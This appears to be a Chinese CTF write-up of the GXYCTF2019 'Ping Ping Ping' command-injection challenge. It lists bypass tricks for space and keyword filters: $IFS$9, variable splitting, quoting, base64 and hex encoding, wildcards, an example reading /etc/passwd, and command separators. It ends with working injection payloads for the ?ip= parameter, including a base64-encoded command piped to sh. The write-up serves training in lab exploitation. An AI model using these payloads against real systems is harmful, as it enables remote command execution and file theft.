[GXYCTF2019]Ping Ping Ping (命令执行)

命令执行

过滤空格
%20(space)、%09(tab)、$IFS$9、 IFS、IFS
使用<或者<>来绕过空格 cat<a.txt
花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
$IFS空格绕过cat$IFSa.txt
变量控制 X=$'cat\x09./flag.php
关键字过滤

使用空变量 使用$\ast 和$@，$x(x代表1-9),${x}(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下，上面的特殊变量都是为空的 ca${21}t a.txt
反斜杠 ca\t a.txt
变量替换 a=ca;b=t;c=a.txt;a aab $c
引号 c’a’t flag.php
编码绕过
Base64 编码绕过：
root@kali:~/# echo ‘cat a.txt’| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo ‘Y2F0IGEudHh0Cg==’ | base64 -d abc
十六进制编码绕过：
root@kali:~/# echo ‘cat a.txt’ | xxd -p 63617420612e7478740a
root@kali:~/# echo ‘0x63617420612e7478740a’| xxd -r -p Abc
通配符 ？*
[…]：匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]：匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
{a,b}：对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php
命令分隔与执行多条命令

1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真（命令返回值 $? == 0），&& 右边的命令才 会被执行。
3.|
| 表示管道，上一条命令的输出，作为下一条命令的参数
4.||
只有在 || 左边的命令返回假（命令返回值 $? == 1），|| 右边的命令才 会被执行。
5.；
多行语句用换行区分代码快，单行语句一般要用到分号来区分代码块

CTF演练

主要考察RCE的防护绕过

?ip=127.0.0.1;ls

发现还是被过滤了flag，猜测后端应该是对最终构成的语句进行了正则匹配

/?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b

使用base64编码来绕过关键词的验证，构造Payload

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw=$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|sh

内容部分参考自

https://blog.csdn.net/qq_42812036/article/details/104297163